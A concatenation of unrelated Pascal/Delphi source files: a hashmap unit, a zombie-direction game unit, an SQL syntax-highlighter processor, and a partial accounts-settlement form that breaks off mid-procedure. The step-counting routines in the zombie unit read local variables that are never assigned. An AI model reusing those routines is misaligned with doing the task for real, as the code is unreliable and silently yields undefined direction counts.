if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
Self.FTable[h][i].Value := Value;
Exit(True);
end;
SetLength(Self.FTable[h], l+1);
Self.FTable[h][l].Key := Key;
Self.FTable[h][l].Value := Value;
Result := True;
end;
{!DOCREF} {
@method: function THashMap.Get(Key: Variant; var Value:Variant): Boolean;
@desc:
Gets the given item `Key` from the hashmap.. and puts the value that belngs to the `Key` in to the result `Value`. Returns False if the item was not found.[br]
[b]Keys supported:[/b] Digits, Strings, Floats and Boolean
[b]Values supported:[/b] Digits, Strings, Floats, Boolean, TPoint, TBox
}
function THashMap.Get(Key: Variant; var Value: Int32): Boolean;
var
h,i,l: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
Value := Self.FTable[h][i].Value;
Exit(True);
end;
Result := False;
end;
function THashMap.Get(Key: Variant; var Value: Boolean): Boolean; overload;
var
h,i,l: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
Value := Self.FTable[h][i].Value;
Exit(True);
end;
Result := False;
end;
function THashMap.Get(Key: Variant; var Value: Double): Boolean; overload;
var
h,i,l: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
Value := Self.FTable[h][i].Value;
Exit(True);
end;
Result := False;
end;
function THashMap.Get(Key: Variant; var Value: Extended): Boolean; overload;
var
h,i,l: Int32;
begin
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
Value := Self.FTable[h][i].Value;
Exit(True);
end;
Result := False;
end;
function THashMap.Get(Key: Variant; var Value: String): Boolean; overload;
var
h,i,l: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
Value := Self.FTable[h][i].Value;
Exit(True);
end;
Result := False;
end;
function THashMap.Get(Key: Variant; var Value: TPoint): Boolean; overload;
var
h,i,j,l: Int32;
tmp,x,y:String;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
tmp := Self.FTable[h][i].Value;
if tmp.startswith('{X = ') then
begin
j:=6;
while tmp[j].IsDigit() do begin x := x+tmp[j]; inc(j); end;
inc(j,6);
while tmp[j].IsDigit() do begin y := y+tmp[j]; inc(j); end;
end else
RaiseException('Item "'+tmp+'" is not a valid TPoint');
Value := [StrToInt(x), StrToInt(y)];
Exit(True);
end;
Result := False;
end;
function THashMap.Get(Key: Variant; var Value: TBox): Boolean; overload;
var
h,i,j,l: Int32;
tmp,x1,y1,x2,y2:String;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
tmp := Self.FTable[h][i].Value;
if tmp.startswith('{X1 = ') then
begin
j:=7;
while tmp[j].IsDigit() do begin x1 := x1+tmp[j]; inc(j); end;
inc(j,7);
while tmp[j].IsDigit() do begin y1 := y1+tmp[j]; inc(j); end;
inc(j,7);
while tmp[j].IsDigit() do begin x2 := x2+tmp[j]; inc(j); end;
inc(j,7);
while tmp[j].IsDigit() do begin y2 := y2+tmp[j]; inc(j); end;
end else
RaiseException('Item "'+tmp+'" is not a valid TBox');
Value := [StrToInt(x1), StrToInt(y1), StrToInt(x2), StrToInt(y2)];
Exit(True);
end;
Result := False;
end;
function THashMap.Get(Key: Variant; var Value: Variant): Boolean; overload;
var
h,i,l: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
Value := Self.FTable[h][i].Value;
Exit(True);
end;
Result := False;
end;
{!DOCREF} {
@method: function THashMap.Get(Key: Variant): Variant; overload;
@desc:
Gets the given item `Key` from the hashmap.. and puts the value that belngs to the `Key` in to the result `Value`. Returns False if the item was not found.[br]
[b]Keys supported:[/b] Digits, Strings, Floats and Boolean
[b]Values supported:[/b] Digits, Strings, Floats and Boolean[br]
Related to support returning `TPoint` and `TBox`:
`function THashMap.GetPt(Key: Variant): TPoint;`
`function THashMap.GetBox(Key: Variant): TBox;`[br]
[note]Raises exception if not found![/note]
}
function THashMap.Get(Key: Variant): Variant; overload;
var
h,i,l: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
Exit(Self.FTable[h][i].Value);
RaiseException('THashMap: Key "'+Key+'" was not found');
end;
function THashMap.Get(Key: Boolean): Variant; overload;
var
h,i,l: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
Exit(Self.FTable[h][i].Value);
RaiseException(String('THashMap: Key '+ToString(Key)+' was not found'));
end;
function THashMap.Get(Key: Int32): Variant; overload;
var
h,i,l: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
Exit(Self.FTable[h][i].Value);
RaiseException(String('THashMap: Key '+ToString(Key)+' was not found'));
end;
function THashMap.Get(Key: Double): Variant; overload;
var
h,i,l: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
Exit(Self.FTable[h][i].Value);
RaiseException(String('THashMap: Key '+ToString(Key)+' was not found'));
end;
function THashMap.Get(Key: String): Variant; overload;
var
h,i,l: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
Exit(Self.FTable[h][i].Value);
RaiseException(String('THashMap: Key '+ToString(Key)+' was not found'));
end;
function THashMap.GetPt(Key: Variant): TPoint; overload;
var
h,i,l,j: Int32; x,y,tmp:String;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
tmp := Self.FTable[h][i].Value;
if tmp.startswith('{X = ') then
begin
j:=6;
while tmp[j].IsDigit() do begin x := x+tmp[j]; inc(j); end;
inc(j,6);
while tmp[j].IsDigit() do begin y := y+tmp[j]; inc(j); end;
end else
RaiseException('Item "'+tmp+'" is not a valid TPoint');
Exit(Point(StrToInt(x), StrToInt(y)));
end;
RaiseException('THashMap: Key "'+Key+'" was not found');
end;
function THashMap.GetBox(Key: Variant): TBox; overload;
var
h,i,l,j: Int32; x1,y1,x2,y2,tmp:String;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
tmp := Self.FTable[h][i].Value;
if tmp.startswith('{X1 = ') then
begin
j:=7;
while tmp[j].IsDigit() do begin x1 := x1+tmp[j]; inc(j); end;
inc(j,7);
while tmp[j].IsDigit() do begin y1 := y1+tmp[j]; inc(j); end;
inc(j,7);
while tmp[j].IsDigit() do begin x2 := x2+tmp[j]; inc(j); end;
inc(j,7);
while tmp[j].IsDigit() do begin y2 := y2+tmp[j]; inc(j); end;
end else
RaiseException('Item "'+tmp+'" is not a valid TBox');
Exit(ToBox(StrToInt(x1), StrToInt(y1), StrToInt(x2), StrToInt(y2)));
end;
RaiseException('THashMap: Key "'+Key+'" was not found');
end;
{!DOCREF} {
@method: function THashMap.Remove(Key: Variant): Boolean;
@desc:
Removes the item belonging to the given `Key` from the hashmap. Reutrns `False` if it does not exist.
}
function THashMap.Remove(Key: Variant): Boolean;
var
h,i,l,j: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := High(Self.FTable[h]);
for i:=0 to l do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
for j:=i+1 to l do
Self.FTable[h][j-1] := Self.FTable[h][j];
SetLength(Self.FTable[h], l);
Exit(True);
end;
Result := False;
end;
{!DOCREF} {
@method: function THashMap.ToString(Sep:String='; '): String;
@desc:
Converts the hashmap in to a readable string. The string should be compatible with "FromString", as long as you remove the beginning and ending "bracket".
}
function THashMap.ToString(Sep:String='; '): String;
var
i,j:Int32;
begin
Result := '{';
for i:=0 to High(FTable) do
begin
for j:=0 to High(FTable[i]) do
begin
if Result = '{' then
Result := '{'+ VarAsType(FTable[i][j].key, varString) +':'+ VarAsType(FTable[i][j].value, varString)
else
Result := Result + sep + VarAsType(FTable[i][j].key, varString) +':'+ VarAsType(FTable[i][j].value, varString);
end;
end;
Result := Result + '}';
end;
|
unit ZombieDirection;
interface
uses
Math,
PositionRecord;
type
TVectorRecord = record
X : Double;
Y : Double;
procedure Normalize();
function Distance(destination : TVectorRecord) : Double;
end;
{$SCOPEDENUMS ON}
TZombieDirection = (DownLeft = 0, Left, UpLeft, Up, UpRight, Right, DownRight, Down);
{$SCOPEDENUMS OFF}
function RotateZombieDirectionClockwise(direction : TZombieDirection; step : Integer = 1) : TZombieDirection;
function RotateZombieDirectionAntiClockwise(direction : TZombieDirection; step : Integer = 1) : TZombieDirection;
function RotateZombieDirectionTowardsDestination(direction : TZombieDirection; position : TPositionRecord; destination : TPositionRecord) : TZombieDirection;
function CountZombieDirectionClockwiseSteps(direction : TZombieDirection; destination : TZombieDirection) : Integer;
function CountZombieDirectionAntiClockwiseSteps(direction : TZombieDirection; destination : TZombieDirection) : Integer;
const
ZombieAnimationDirection : array[0..7] of string =
(
'_down_left', '_left', '_up_left', '_up','_up_right', '_right', '_down_right', '_down'
) ;
const
ZombieVectorDirection : array[0..7] of TVectorRecord =
(
(X : -0.70710678118654752440084436210485; Y : 0.70710678118654752440084436210485),(X : -1; Y : 0),(X : -0.70710678118654752440084436210485; Y : -0.70710678118654752440084436210485),(X : 0; Y : -1),
(X : 0.70710678118654752440084436210485; Y : -0.70710678118654752440084436210485),(X : 1; Y : 0),(X : 0.70710678118654752440084436210485; Y : 0.70710678118654752440084436210485),(X : 0; Y : 1)
) ;
implementation
function RotateZombieDirectionClockwise(direction : TZombieDirection; step : Integer = 1) : TZombieDirection;
var
directionInt : Integer;
begin
directionInt := Ord(direction);
directionInt := directionInt + step;
if directionInt > 7 then
directionInt := directionInt - 8;
result := TZombieDirection(directionInt);
end;
function RotateZombieDirectionAntiClockwise(direction : TZombieDirection; step : Integer = 1) : TZombieDirection;
var
directionInt : Integer;
begin
directionInt := Ord(direction);
directionInt := directionInt - step;
if directionInt < 0 then
directionInt := directionInt + 8;
result := TZombieDirection(directionInt);
end;
function RotateZombieDirectionTowardsDestination(direction : TZombieDirection; position, destination : TPositionRecord) : TZombieDirection;
var
wantedDirectionVect : TVectorRecord;
i : Integer;
lowestDistance, curDistance : Double;
bestDirection : TZombieDirection;
countClockwise, countAntiClockwise : Integer;
begin
wantedDirectionVect.X := destination.X - position.X;
wantedDirectionVect.Y := destination.Y - position.Y;
//Normalize (length recalculated to 1)
wantedDirectionVect.Normalize();
//Compare to the existing directions
lowestDistance := 3;
bestDirection := direction;
for i := 0 to 7 do
begin
curDistance := ZombieVectorDirection[i].Distance(wantedDirectionVect);
if curDistance < lowestDistance then
begin
lowestDistance := curDistance;
bestDirection := TZombieDirection(i);
end;
end;
if bestDirection = direction then
begin
Result := bestDirection;
Exit;
end;
//Turn clockwise or anticlockwise?
countClockwise := CountZombieDirectionClockwiseSteps(direction,bestDirection);
countAntiClockwise := CountZombieDirectionAntiClockwiseSteps(direction,bestDirection);
if(countClockwise < countAntiClockwise) then
result := RotateZombieDirectionClockwise(direction)
else if(countAntiClockwise < countClockwise) then
result := RotateZombieDirectionAntiClockwise(direction)
else
begin
if(RandomRange(0,2) = 1) then
result := RotateZombieDirectionClockwise(direction)
else
result := RotateZombieDirectionAntiClockwise(direction);
end;
end;
function CountZombieDirectionClockwiseSteps(direction : TZombieDirection; destination : TZombieDirection) : Integer;
var
directionInt, destinationInt : Integer;
begin
if(destinationInt >= directionInt) then
Result := destinationInt - directionInt
else
Result := 8 + destinationInt - directionInt;
end;
function CountZombieDirectionAntiClockwiseSteps(direction : TZombieDirection; destination : TZombieDirection) : Integer;
var
directionInt, destinationInt : Integer;
begin
if(destinationInt <= directionInt) then
Result := directionInt - destinationInt
else
Result := 8 + directionInt - destinationInt;
end;
{ TVectorRecord }
function TVectorRecord.Distance(destination: TVectorRecord): Double;
begin
Result := Sqrt( Sqr(destination.X - X) + Sqr(destination.Y - Y));
end;
procedure TVectorRecord.Normalize;
var
vectLength : Double;
begin
vectLength := Sqrt( Sqr(X) + Sqr(Y));
if vectLength <> 0 then
begin
X := X / vectLength;
Y := Y / vectLength;
end;
end;
end.
|
unit mnSQLProcessor;
{$mode objfpc}{$H+}
{**
*
* This file is part of the "Mini Library"
*
* @url http://www.sourceforge.net/projects/minilib
* @license modifiedLGPL (modified of http://www.gnu.org/licenses/lgpl.html)
* See the file COPYING.MLGPL, included in this distribution,
* @author Zaher Dirkey
*}
interface
uses
SysUtils, Controls, Graphics,
Classes, SynEditTypes, SynEditHighlighter,
mnSynUtils, mnSynHighlighterMultiProc,
SynHighlighterHashEntries;
type
{ TSardProcessor }
TSardProcessor = class(TCommonSynProcessor)
private
protected
function GetIdentChars: TSynIdentChars; override;
function GetEndOfLineAttribute: TSynHighlighterAttributes; override;
public
procedure Created; override;
procedure QuestionProc;
procedure SlashProc;
procedure MinusProc;
procedure GreaterProc;
procedure LowerProc;
procedure DeclareProc;
procedure VariableProc;
procedure Next; override;
procedure Prepare; override;
procedure MakeProcTable; override;
end;
const
// keywords
StdSQLKeywords: string =
'abort,add,after,all,alter,analyze,and,as,asc,attach,autoincrement,'+
'before,begin,between,by,cascade,case,cast,check,collate,column,commit,'+
'conflict,constraint,create,cross,current_date,current_time,current_timestamp,'+
'database,default,deferrable,deferred,delete,desc,detach,distinct,drop,each,'+
'else,end,escape,except,exclusive,exists,explain,fail,for,foreign,from,full,'+
'glob,group,having,if,ignore,immediate,in,index,indexed,initially,inner,insert,'+
'instead,intersect,into,is,isnull,join,key,left,like,limit,match,natural,not,'+
'notnull,null,of,offset,on,or,order,outer,plan,pragma,primary,query,raise,'+
'references,regexp,reindex,release,rename,replace,restrict,right,rollback,'+
'row,savepoint,select,set,table,temp,temporary,then,to,transaction,trigger,'+
'union,unique,update,using,vacuum,values,view,virtual,with,when,where';
// functions
StdSQLFunctions =
'avg,count,group_concat,max,min,sum,total,'+
'abs,changes,coalesce,ifnull,hex,last_insert_rowid,length,'+
'load_extension,lower,ltrim,nullif,quote,random,randomblob,round,rtrim,'+
'soundex,StdSQL_version,substr,total_changes,trim,typeof,upper,zeroblob,'+
'date,time,datetime,julianday,strftime,split_part,SubString';
// types
StdSQLTypes = 'blob,char,character,decimal,double,float,boolean,real,integer,' +
'numeric,precision,smallint,timestamp,varchar';
implementation
uses
SynEditStrConst;
{ TStdSQLSyn }
procedure TSardProcessor.GreaterProc;
begin
Parent.FTokenID := tkSymbol;
Inc(Parent.Run);
if Parent.FLine[Parent.Run] in ['=', '>'] then
Inc(Parent.Run);
end;
procedure TSardProcessor.LowerProc;
begin
Parent.FTokenID := tkSymbol;
Inc(Parent.Run);
case Parent.FLine[Parent.Run] of
'=': Inc(Parent.Run);
'<':
begin
Inc(Parent.Run);
if Parent.FLine[Parent.Run] = '=' then
Inc(Parent.Run);
end;
end;
end;
procedure TSardProcessor.DeclareProc;
begin
Parent.FTokenID := tkSymbol;
Inc(Parent.Run);
case Parent.FLine[Parent.Run] of
'=': Inc(Parent.Run);
':':
begin
Inc(Parent.Run);
if Parent.FLine[Parent.Run] = '=' then
Inc(Parent.Run);
end;
end;
end;
procedure TSardProcessor.SlashProc;
begin
Inc(Parent.Run);
case Parent.FLine[Parent.Run] of
'/':
begin
CommentSLProc;
end;
'*':
begin
Inc(Parent.Run);
if Parent.FLine[Parent.Run] = '*' then
DocumentMLProc
else
CommentMLProc;
end;
else
Parent.FTokenID := tkSymbol;
end;
end;
procedure TSardProcessor.MinusProc;
begin
Inc(Parent.Run);
case Parent.FLine[Parent.Run] of
'-':
begin
CommentSLProc;
end;
else
Parent.FTokenID := tkSymbol;
end;
end;
procedure TSardProcessor.VariableProc;
var
i: integer;
begin
Parent.FTokenID := tkVariable;
i := Parent.Run;
repeat
Inc(i);
until not (IdentTable[Parent.FLine[i]]);
Parent.Run := i;
end;
procedure TSardProcessor.MakeProcTable;
var
I: Char;
begin
inherited;
for I := #0 to #255 do
case I of
'''': ProcTable[I] := @StringSQProc;
'"': ProcTable[I] := @StringDQProc;
'-': ProcTable[I] := @MinusProc;
'/': ProcTable[I] := @SlashProc;
'>': ProcTable[I] := @GreaterProc;
'<': ProcTable[I] := @LowerProc;
':': ProcTable[I] := @VariableProc;
'@': ProcTable[I] := @VariableProc;
'?': ProcTable[I] := @VariableProc;
'0'..'9':
ProcTable[I] := @NumberProc;
'{', '}', '.', ',', ';', '(', ')', '[', ']', '~':
ProcTable[I] := @SymbolProc;
'A'..'Z', 'a'..'z', '_':
ProcTable[I] := @IdentProc;
end;
end;
procedure TSardProcessor.QuestionProc;
begin
Inc(Parent.Run);
case Parent.FLine[Parent.Run] of
'>':
begin
Parent.Processors.Switch(Parent.Processors.MainProcessor);
Inc(Parent.Run);
Parent.FTokenID := tkProcessor;
end
else
Parent.FTokenID := tkSymbol;
end;
end;
procedure TSardProcessor.Next;
begin
Parent.FTokenPos := Parent.Run;
if (Parent.FLine[Parent.Run] in [#0, #10, #13]) then
ProcTable[Parent.FLine[Parent.Run]]
else case Range of
rscComment:
begin
CommentMLProc;
end;
rscDocument:
begin
DocumentMLProc;
end;
rscStringSQ, rscStringDQ, rscStringBQ:
StringProc;
else
if ProcTable[Parent.FLine[Parent.Run]] = nil then
UnknownProc
else
ProcTable[Parent.FLine[Parent.Run]];
end;
end;
procedure TSardProcessor.Prepare;
begin
inherited;
EnumerateKeywords(Ord(tkKeyword), StdSQLKeywords, TSynValidStringChars, @DoAddKeyword);
EnumerateKeywords(Ord(tkFunction), StdSQLFunctions, TSynValidStringChars, @DoAddKeyword);
EnumerateKeywords(Ord(tkType), StdSQLTypes, TSynValidStringChars, @DoAddKeyword);
SetRange(rscUnknown);
end;
function TSardProcessor.GetEndOfLineAttribute: TSynHighlighterAttributes;
begin
if (Range = rscDocument) or (LastRange = rscDocument) then
Result := Parent.DocumentAttri
else
Result := inherited GetEndOfLineAttribute;
end;
procedure TSardProcessor.Created;
begin
inherited Created;
end;
function TSardProcessor.GetIdentChars: TSynIdentChars;
begin
Result := TSynValidStringChars;
end;
end.
|
unit ufrmSettlementARAP;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, ufrmDefault, cxGraphics, cxControls,
cxLookAndFeels, cxLookAndFeelPainters, dxBarBuiltInMenu, Vcl.Menus, cxStyles,
cxCustomData, cxFilter, cxData, cxDataStorage, cxEdit, cxNavigator, Data.DB,
cxDBData, cxContainer, System.ImageList, Vcl.ImgList, Datasnap.DBClient,
Datasnap.Provider, cxGridCustomTableView, cxGridTableView, cxGridDBTableView,
cxGrid, System.Actions, Vcl.ActnList, cxCheckBox, cxGridLevel, cxClasses,
cxGridCustomView, Vcl.StdCtrls, cxButtons, Vcl.ComCtrls, Vcl.ExtCtrls, cxPC,
dxStatusBar, dxCore, cxDateUtils, cxDropDownEdit, cxLookupEdit,
cxDBLookupEdit, cxDBExtLookupComboBox, cxMaskEdit, cxCalendar, cxTextEdit,
cxLabel, ClientModule, uSettlementARAP, uAppUtils, System.DateUtils,
cxCurrencyEdit,uDBUtils, uSupplier,Data.FireDACJSONReflect, uDMReport;
type
TfrmSettlementARAP = class(TfrmDefault)
pnlHeader: TPanel;
lblNoBukti: TcxLabel;
lblTglBukti: TcxLabel;
lblSupplier: TcxLabel;
edNoBukti: TcxTextEdit;
edTglBukti: TcxDateEdit;
cbbSupplier: TcxExtLookupComboBox;
cxgrdlvlARLevel: TcxGridLevel;
cxGridAR: TcxGrid;
cxGridTableAR: TcxGridTableView;
cxGridColARAR: TcxGridColumn;
cxGridColARNominal: TcxGridColumn;
cxGridColARSisa: TcxGridColumn;
cxGridColARNominalSettlement: TcxGridColumn;
splARAP: TSplitter;
cxGridAP: TcxGrid;
cxGridTableAP: TcxGridTableView;
cxGridColAPAP: TcxGridColumn;
cxGridColAPNominal: TcxGridColumn;
cxGridColAPSisa: TcxGridColumn;
cxGridColAPNominalSettlement: TcxGridColumn;
cxgrdlvlAP: TcxGridLevel;
lblKeterangan: TcxLabel;
mmoKeterangan: TMemo;
procedure ActionBaruExecute(Sender: TObject);
procedure ActionRefreshExecute(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ActionSimpanExecute(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure cbbSupplierPropertiesValidate(Sender: TObject;
var DisplayValue: Variant; var ErrorText: TCaption; var Error: Boolean);
procedure cxGridColARARPropertiesValidate(Sender: TObject;
var DisplayValue: Variant; var ErrorText: TCaption; var Error: Boolean);
procedure cxGridColAPAPPropertiesValidate(Sender: TObject;
var DisplayValue: Variant; var ErrorText: TCaption; var Error: Boolean);
procedure cxGridDBTableOverviewCellDblClick(Sender: TcxCustomGridTableView;
ACellViewInfo: TcxGridTableDataCellViewInfo; AButton: TMouseButton; AShift:
TShiftState; var AHandled: Boolean);
procedure cxGridTableAPEditing(Sender: TcxCustomGridTableView; AItem:
TcxCustomGridTableItem; var AAllow: Boolean);
procedure cxGridTableAREditing(Sender: TcxCustomGridTableView; AItem:
TcxCustomGridTableItem; var AAllow: Boolean);
private
FCDSAP: tclientDataSet;
FCDSAR: tclientDataSet;
FCDSSalesman: tclientDataSet;
FSettlementARAP: TSettlementARAP;
function GetSettlementARAP: TSettlementARAP;
procedure InisialisasiCBBSupplier;
function IsBisaSimpan: Boolean;
procedure LoadDataAR(AIDCustomer : String);
procedure LoadDataAP(AIDCustomer : String);
procedure LoadDataSettlementARAPItemARs;
procedure LoadDataSettlementARAPItemAPs;
procedure UpdateSettlementARAPItemARs;
procedure UpdateSettlementARAPItemAPs;
{ Private declarations }
protected
procedure CetakSlip; override;
public
procedure LoadData(AID: string);
property SettlementARAP: TSettlementARAP read GetSettlementARAP write
FSettlementARAP;
{ Public declarations }
end;
var
frmSettlementARAP: TfrmSettlementARAP;
implementation
{$R *.dfm}
procedure TfrmSettlementARAP.ActionBaruExecute(Sender: TObject);
begin
inherited;
LoadData('');
end;
procedure TfrmSettlementARAP.ActionRefreshExecute(Sender: TObject);
var
lcds: tclientDataSet;
begin
inherited;
lcds := TDBUtils.DSToCDS(ClientDataModule.ServerSettlementARAPClient.RetrieveData(dtpAwal.DateTime, dtpAkhir.DateTime, 'XXX'), cxGridDBTableOverview);
cxGridDBTableOverview.SetDataset(lcds, True);
cxGridDBTableOverview.SetVisibleColumns(['ID','SUPPLIER'], False);
cxGridDBTableOverview.ApplyBestFit();
end;
procedure TfrmSettlementARAP.FormDestroy(Sender: TObject);
begin
inherited;
FreeAndNil(FSettlementARAP);
end;
procedure TfrmSettlementARAP.ActionSimpanExecute(Sender: TObject);
begin
inherited;
if not IsBisaSimpan then
Exit;
if SettlementARAP.ID = '' then
edNoBukti.Text := ClientDataModule.ServerSettlementARAPClient.GenerateNoBukti(edTglBukti.Date, 'SET');
SettlementARAP.NoBukti := edNoBukti.Text;
SettlementARAP.Supplier := TSupplier.CreateID(cbbSupplier.EditValue);
SettlementARAP.TglBukti := edTglBukti.Date;
SettlementARAP.Keterangan := mmoKeterangan.Text;
UpdateSettlementARAPItemARs;
UpdateSettlementARAPItemAPs;
if ClientDataModule.ServerSettlementARAPClient.Save(SettlementARAP) then
begin
TAppUtils.InformationBerhasilSimpan;
LoadData('');
end;
end;
procedure TfrmSettlementARAP.cbbSupplierPropertiesValidate(Sender: TObject;
var DisplayValue: Variant; var ErrorText: TCaption; var Error: Boolean);
begin
inherited;
LoadDataAR(cbbSupplier.EditValue);
LoadDataAP(cbbSupplier.EditValue);
cxGridTableAR.ClearRows;
cxGridTableAP.ClearRows;
end;
procedure TfrmSettlementARAP.CetakSlip;
var
lcds: TFDJSONDataSets;
// lcds: TClientDataSet;
begin
inherited;
with dmReport do
begin
AddReportVariable('UserCetak', UserAplikasi.UserName);
if cxPCData.ActivePageIndex = 0 then
lcds := ClientDataModule.ServerSettlementARAPClient.RetrieveDataSlip(dtpAwal.DateTime, dtpAkhir.DateTime, 'XXX', 'XXX')
else
lcds := ClientDataModule.ServerSettlementARAPClient.RetrieveDataSlip(dtpAwal.DateTime - 1000, dtpAkhir.DateTime + 1000, 'XXX', cxGridDBTableOverview.DS.FieldByName('ID').AsString);
ExecuteReport( 'Reports/Slip_SettlementARAP' ,
lcds
);
end;
end;
procedure TfrmSettlementARAP.cxGridColAPAPPropertiesValidate(Sender: TObject;
var DisplayValue: Variant; var ErrorText: TCaption; var Error: Boolean);
begin
inherited;
cxGridTableAP.SetValue(cxGridTableAP.FocusedIndex, cxGridColAPNominal.Index, FCDSAP.FieldByName('nominal').AsFloat);
cxGridTableAP.SetValue(cxGridTableAP.FocusedIndex, cxGridColAPSisa.Index, FCDSAP.FieldByName('sisa').AsFloat);
end;
procedure TfrmSettlementARAP.cxGridColARARPropertiesValidate(Sender: TObject;
var DisplayValue: Variant; var ErrorText: TCaption; var Error: Boolean);
begin
inherited;
if FCDSAR = nil then
Exit;
cxGridTableAR.SetValue(cxGridTableAR.FocusedIndex, cxGridColARNominal.Index, FCDSAR.FieldByName('nominal').AsFloat);
cxGridTableAR.SetValue(cxGridTableAR.FocusedIndex, cxGridColARSisa.Index, FCDSAR.FieldByName('sisa').AsFloat);
end;
procedure TfrmSettlementARAP.cxGridDBTableOverviewCellDblClick(Sender:
TcxCustomGridTableView; ACellViewInfo: TcxGridTableDataCellViewInfo;
AButton: TMouseButton; AShift: TShiftState; var AHandled: Boolean);
begin
inherited;
try
LoadData(cxGridDBTableOverview.DS.FieldByName('ID').AsString);
cxPCData.ActivePageIndex := 1;
except
raise;
end;
end;
procedure TfrmSettlementARAP.cxGridTableAPEditing(Sender:
TcxCustomGridTableView; AItem: TcxCustomGridTableItem; var AAllow: Boolean);
begin
inherited;
AAllow := False;
if AItem.Index in [cxGridColAPAP.Index, cxGridColAPNominalSettlement.Index] then
AAllow := True;
end;
procedure TfrmSettlementARAP.cxGridTableAREditing(Sender:
TcxCustomGridTableView; AItem: TcxCustomGridTableItem; var AAllow: Boolean);
begin
inherited;
AAllow := False;
if AItem.Index in [cxGridColARAR.Index, cxGridColARNominalSettlement.Index] then
AAllow := True;
end;
procedure TfrmSettlementARAP.FormCreate(Sender: TObject);
begin
inherited;
edNoBukti.Text := 'Otomatis';
edTglBukti.Date:= Now;
InisialisasiCBBSupplier;
end;
function TfrmSettlementARAP.GetSettlementARAP: TSettlementARAP;
begin
if FSettlementARAP = nil then
FSettlementARAP := TSettlementARAP.Create;
Result := FSettlementARAP;
end;
procedure TfrmSettlementARAP.InisialisasiCBBSupplier;
var
sSQL: string;
begin
sSQL := 'select Nama,Kode,ID from TSupplier where (ispembeli = 1 or issupplier = 1)';
FCDSSalesman := TDBUtils.OpenDataset(sSQL);
cbbSupplier.Properties.LoadFromCDS(FCDSSalesman,'ID','Nama',['ID'],Self);
cbbSupplier.Properties.SetMultiPurposeLookup;
end;
function TfrmSettlementARAP.IsBisaSimpan: Boolean;
var
dSummaryAP: Double;
dSummaryAR: Double;
begin
Result := False;
dSummaryAR := cxGridTableAR.DataController.Summary.FooterSummaryValues[0];
dSummaryAP := cxGridTableAP.DataController.Summary.FooterSummaryValues[0];
if dSummaryAP <> dSummaryAR then
begin
TAppUtils.Warning('Nilai Settlement AR dan AP Berbeda');
Exit;
end;
Result := True;
end;
procedure TfrmSettlementARAP.LoadData(AID: string);
begin
FreeAndNil(FSettlementARAP);
ClearByTag([0,1]);
edNoBukti.Text := ClientDataModule.ServerSettlementARAPClient.GenerateNoBukti(edTglBukti.Date, 'SET');
cxGridTableAR.ClearRows;
cxGridTableAP.ClearRows;
if AID = '' then
Exit;
FSettlementARAP := ClientDataModule.ServerSettlementARAPClient.Retrieve(AID);
edNoBukti.Text := SettlementARAP.NoBukti;
cbbSupplier.EditValue := SettlementARAP.Supplier.ID;
mmoKeterangan.Text := SettlementARAP.Keterangan;
LoadDataAR(cbbSupplier.EditValue);
LoadDataAP(cbbSupplier.EditValue);
LoadDataSettlementARAPItemARs;
LoadDataSettlementARAPItemAPs;
end;
procedure TfrmSettlementARAP.LoadDataAR(AIDCustomer : String);
var
lCustomer: TSupplier;
begin
lCustomer := TSupplier.CreateID(AIDCustomer);
try
